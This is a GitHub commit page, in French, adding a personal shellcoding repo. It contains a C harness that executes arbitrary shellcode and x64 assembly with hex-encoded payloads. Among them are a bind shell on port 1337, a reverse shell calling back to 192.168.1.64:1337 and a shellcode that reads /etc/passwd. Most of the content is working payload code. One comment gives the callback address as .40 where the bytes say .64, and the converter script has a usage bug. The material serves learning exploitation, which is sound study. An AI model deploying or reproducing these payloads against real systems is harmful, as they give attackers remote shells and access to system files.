Skip to content

Commit c0a2fbb

Browse files
committed
Ajout des premiers shellcodes sur x86 / x64
1 parent e2d9e8e commit c0a2fbb

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

49 files changed

+785
-1
lines changed

README.md

+11-1
Original file line numberDiff line numberDiff line change
@@ -1 +1,11 @@
1-
# shellcoding
1+
J'uploaderai sur ce repo différents shellcodes que j'ai pu faire pendant mon apprentissage.
2+
3+
Pour l'instants ces architectures sont disponibles, j'en rajouterai d'autre avec le temps.
4+
5+
* x86
6+
* x64
7+
8+
Enjoy :)
9+
10+
PS: Si vous avez des questions ou des remarques sur ces shellcodes n'hésitez pas à me PM sur twitter [@voydstack](twitter.com/voydstack).
11+

executor.c

+28
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <sys/mman.h>
4+
#include <string.h>
5+
#include <unistd.h>
6+
7+
#define SHELLCODE_SIZE 0x1000
8+
9+
int main(int argc, char *argv[]) {
10+
void (*shellcode)();
11+
12+
shellcode = mmap(NULL, SHELLCODE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANON, -1, 0);
13+
14+
if(shellcode == MAP_FAILED) {
15+
perror("[-] mmap");
16+
exit(1);
17+
}
18+
19+
if(argc == 1) {
20+
read(0, shellcode, SHELLCODE_SIZE);
21+
} else if(argc == 2) {
22+
strncpy((char *) shellcode, argv[1], SHELLCODE_SIZE - 1);
23+
}
24+
25+
shellcode();
26+
27+
return 0;
28+
}

shellconvert.py

+18
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
#!/usr/bin/python
2+
3+
import sys
4+
5+
def convert(shellcode_bin):
6+
shellcode_str = ""
7+
for c in shellcode_bin:
8+
shellcode_str += "\\x%02x" % ord(c)
9+
return shellcode_str
10+
11+
if __name__ == "__main__":
12+
if len(sys.argv) != 2:
13+
print("Usage: %s <shellcode file>" % sys.argv[1])
14+
try:
15+
with open(sys.argv[1], "rb") as shellcode_file:
16+
print convert(shellcode_file.read())
17+
except:
18+
print("Error while opening file")

x64/README.md

+47
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
# Shellcodes x64
2+
3+
Voici une collection de shellcodes pour x64, pour l'instant ceux-là sont disponibles j'en rajouterai sûrement à l'avenir.
4+
5+
### **exit(0) (10 octets)**
6+
7+
Sort du programme en cours d'exécution avec 0 en code de retour.
8+
9+
### **Hello, World (46 octets)**
10+
11+
Affiche "Hello, World !\n" puis quitte le programme.
12+
13+
### **/bin/sh (28 octets)**
14+
15+
Ouvre un shell sans fixer les permissions.
16+
17+
### **setreuid /bin/sh (42 octets)**
18+
19+
Ouvre un shell en fixant les permissions avec setreuid(1000, 1000).
20+
21+
### **bindshell (111 octets)**
22+
23+
Attache un shell au port 1337.
24+
25+
### **reverse shell (100 octets)**
26+
27+
Se connecte en retour à l'adresse 192.168.1.64 au port 1337.
28+
29+
### **read /etc/passwd (73 octets)**
30+
31+
Lit un fichier (dans ce cas là /etc/passwd) et affiche son contenu sur stdout.
32+
33+
## Modifier et assembler un shellcode
34+
35+
Pour modifier les shellcodes présents ici, par exemple pour changer le numéro de port, il suffit de faire la modification directement dans le code du shellcode, puis de l'assembler avec la commande:
36+
37+
```sh
38+
nasm -f bin shellcode.asm -o shellcode.bin
39+
```
40+
41+
Pour le tester, on peut utiliser le programme executor64 qui va mapper une zone mémoire exécutable puis l'exécuter avec notre shellcode à l'intérieur.
42+
43+
```sh
44+
cat shellcode.bin | ./executor64
45+
# Ou encore
46+
./executor64 "$(cat shellcode.bin)"
47+
```

x64/bind-shell/bind-shell.asm

+76
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
bits 64
2+
section .text
3+
global _start
4+
5+
_start:
6+
7+
; socket(AF_INET, SOCK_STREAM, 0)
8+
; (2, 1, 0)
9+
10+
xor rax, rax
11+
mov rdx, rax
12+
mov al, 41
13+
mov rsi, rdx
14+
inc rsi
15+
mov rdi, rsi
16+
inc rdi
17+
18+
syscall
19+
20+
mov r8, rax
21+
22+
; bind(sockfd, &saddr, 0x10)
23+
24+
mov rdi, r8
25+
mov al, 49
26+
push rdx
27+
push rdx
28+
mov byte [rsp], 0x2
29+
mov word [rsp+2], 0x3905
30+
mov rsi, rsp
31+
mov dl, 0x10
32+
33+
syscall
34+
35+
; listen(sockfd, 0x10)
36+
37+
mov al, 50
38+
mov rsi, rdx
39+
40+
syscall
41+
42+
; accept(sockfd, NULL, NULL)
43+
44+
mov al, 43
45+
xor rsi, rsi
46+
xor rdx, rdx
47+
48+
syscall
49+
50+
mov r9, rax
51+
52+
; dup2(clientfd, [0,1,2])
53+
54+
mov rdi, r9
55+
duplicate:
56+
mov al, 33
57+
syscall
58+
inc sil
59+
cmp sil, 0x2
60+
jle duplicate
61+
62+
; execve("/bin/sh", NULL, NULL)
63+
64+
jmp binsh
65+
66+
shell:
67+
mov al, 0x3b
68+
xor rsi, rsi
69+
xor rdx, rdx
70+
pop rdi
71+
72+
syscall
73+
74+
binsh:
75+
call shell
76+
db "/bin/sh"

x64/bind-shell/bind-shell.bin

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
H1�H�°)H��H��H��H��I��L�ǰ1RR�$f�D$9H���2H���+H1�H1�I��L�ϰ!@��@��~�� �;H1�H1�_�����/bin/sh

x64/bind-shell/bind-shell.hex

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
\x48\x31\xc0\x48\x89\xc2\xb0\x29\x48\x89\xd6\x48\xff\xc6\x48\x89\xf7\x48\xff\xc7\x0f\x05\x49\x89\xc0\x4c\x89\xc7\xb0\x31\x52\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x05\x39\x48\x89\xe6\xb2\x10\x0f\x05\xb0\x32\x48\x89\xd6\x0f\x05\xb0\x2b\x48\x31\xf6\x48\x31\xd2\x0f\x05\x49\x89\xc1\x4c\x89\xcf\xb0\x21\x0f\x05\x40\xfe\xc6\x40\x80\xfe\x02\x7e\xf3\xeb\x0b\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x5f\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68

x64/executor64

8.28 KB
Binary file not shown.

x64/exit/exit.asm

+11
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
bits 64
2+
section .text
3+
global _start
4+
5+
_start:
6+
; exit(0)
7+
xor rax, rax
8+
mov al, 0x3c
9+
xor rdi, rdi
10+
11+
syscall

x64/exit/exit.bin

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
H1��<H1�

x64/exit/exit.hex

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
\x48\x31\xc0\xb0\x3c\x48\x31\xff\x0f\x05

x64/hello/hello.asm

+30
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
bits 64
2+
section .text
3+
global _start
4+
5+
_start:
6+
jmp getstring
7+
8+
hello:
9+
10+
; write(1, "Hello, World !\n", 0x10)
11+
12+
xor rax, rax
13+
inc rax
14+
mov rdi, rax
15+
pop rsi
16+
xor rdx, rdx
17+
mov dl, 0x10
18+
19+
syscall
20+
21+
; exit(0)
22+
23+
mov al, 60
24+
dec rdi
25+
26+
syscall
27+
28+
getstring:
29+
call hello
30+
db "Hello, World !", 0xa

x64/hello/hello.bin

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
�H1�H��H��^H1Ҳ�<H�������Hello, World !

x64/hello/hello.hex

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
\xeb\x18\x48\x31\xc0\x48\xff\xc0\x48\x89\xc7\x5e\x48\x31\xd2\xb2\x10\x0f\x05\xb0\x3c\x48\xff\xcf\x0f\x05\xe8\xe3\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x20\x21\x0a

x64/readfile/readfile.asm

+51
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
bits 64
2+
section .text
3+
global _start
4+
5+
_start:
6+
7+
jmp filename
8+
9+
; open("/etc/passwd", O_RDONLY)
10+
open:
11+
12+
xor rax, rax
13+
xor rsi, rsi
14+
mov al, 2
15+
pop rdi
16+
17+
syscall
18+
19+
mov rdi, rax
20+
21+
; read(filefd, buf, 0x1337)
22+
23+
xor rax, rax
24+
xor rdx, rdx
25+
mov dx, 0x1337
26+
sub sp, dx
27+
mov rsi, rsp
28+
29+
syscall
30+
31+
; write(stdout, buf, len(buf))
32+
33+
mov rdx, rax
34+
xor rax, rax
35+
mov al, 1
36+
mov rdi, rax
37+
38+
syscall
39+
40+
; exit(0)
41+
42+
xor rax, rax
43+
mov al, 60
44+
xor rdi, rdi
45+
46+
syscall
47+
48+
49+
filename:
50+
call open
51+
db "/etc/passwd"

x64/readfile/readfile.bin

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
�7H1�H1��_H��H1�H1�f�7f)�H��H��H1��H��H1��<H1������/etc/passwd

x64/readfile/readfile.hex

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
\xeb\x37\x48\x31\xc0\x48\x31\xf6\xb0\x02\x5f\x0f\x05\x48\x89\xc7\x48\x31\xc0\x48\x31\xd2\x66\xba\x37\x13\x66\x29\xd4\x48\x89\xe6\x0f\x05\x48\x89\xc2\x48\x31\xc0\xb0\x01\x48\x89\xc7\x0f\x05\x48\x31\xc0\xb0\x3c\x48\x31\xff\x0f\x05\xe8\xc4\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64

x64/reverse-shell/reverse-shell.asm

+59
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
bits 64
2+
section .text
3+
global _start
4+
5+
_start:
6+
7+
; socket(AF_INET, SOCK_STREAM, 0)
8+
; (2, 1, 0)
9+
10+
xor rax, rax
11+
mov rdx, rax
12+
mov al, 41
13+
mov rsi, rdx
14+
inc rsi
15+
mov rdi, rsi
16+
inc rdi
17+
18+
syscall
19+
20+
21+
; connect(sockfd, &saddr, 0x10)
22+
23+
mov rdi, rax
24+
mov al, 42
25+
push rdx
26+
push rdx
27+
mov byte [rsp], 0x2
28+
mov word [rsp + 2], 0x3905 ; 1337
29+
mov dword [rsp + 4], 0x4001a8c0 ; 192.168.1.40
30+
mov rsi, rsp
31+
mov dl, 0x10
32+
33+
syscall
34+
35+
; dup2(clientfd, [0,1,2])
36+
37+
xor rsi, rsi
38+
duplicate:
39+
mov al, 33
40+
syscall
41+
inc sil
42+
cmp sil, 0x2
43+
jle duplicate
44+
45+
; execve("/bin/sh", NULL, NULL)
46+
47+
jmp binsh
48+
49+
shell:
50+
mov al, 0x3b
51+
xor rsi, rsi
52+
xor rdx, rdx
53+
pop rdi
54+
55+
syscall
56+
57+
binsh:
58+
call shell
59+
db "/bin/sh"

x64/reverse-shell/reverse-shell.bin

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
H1�H�°)H��H��H��H��H�ǰ*RR�$f�D$9�D$��@H��H1��!@��@��~�� �;H1�H1�_�����/bin/sh

x64/reverse-shell/reverse-shell.hex

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
\x48\x31\xc0\x48\x89\xc2\xb0\x29\x48\x89\xd6\x48\xff\xc6\x48\x89\xf7\x48\xff\xc7\x0f\x05\x48\x89\xc7\xb0\x2a\x52\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x05\x39\xc7\x44\x24\x04\xc0\xa8\x01\x40\x48\x89\xe6\xb2\x10\x0f\x05\x48\x31\xf6\xb0\x21\x0f\x05\x40\xfe\xc6\x40\x80\xfe\x02\x7e\xf3\xeb\x0b\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x5f\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68

0 commit comments

Comments
 (0)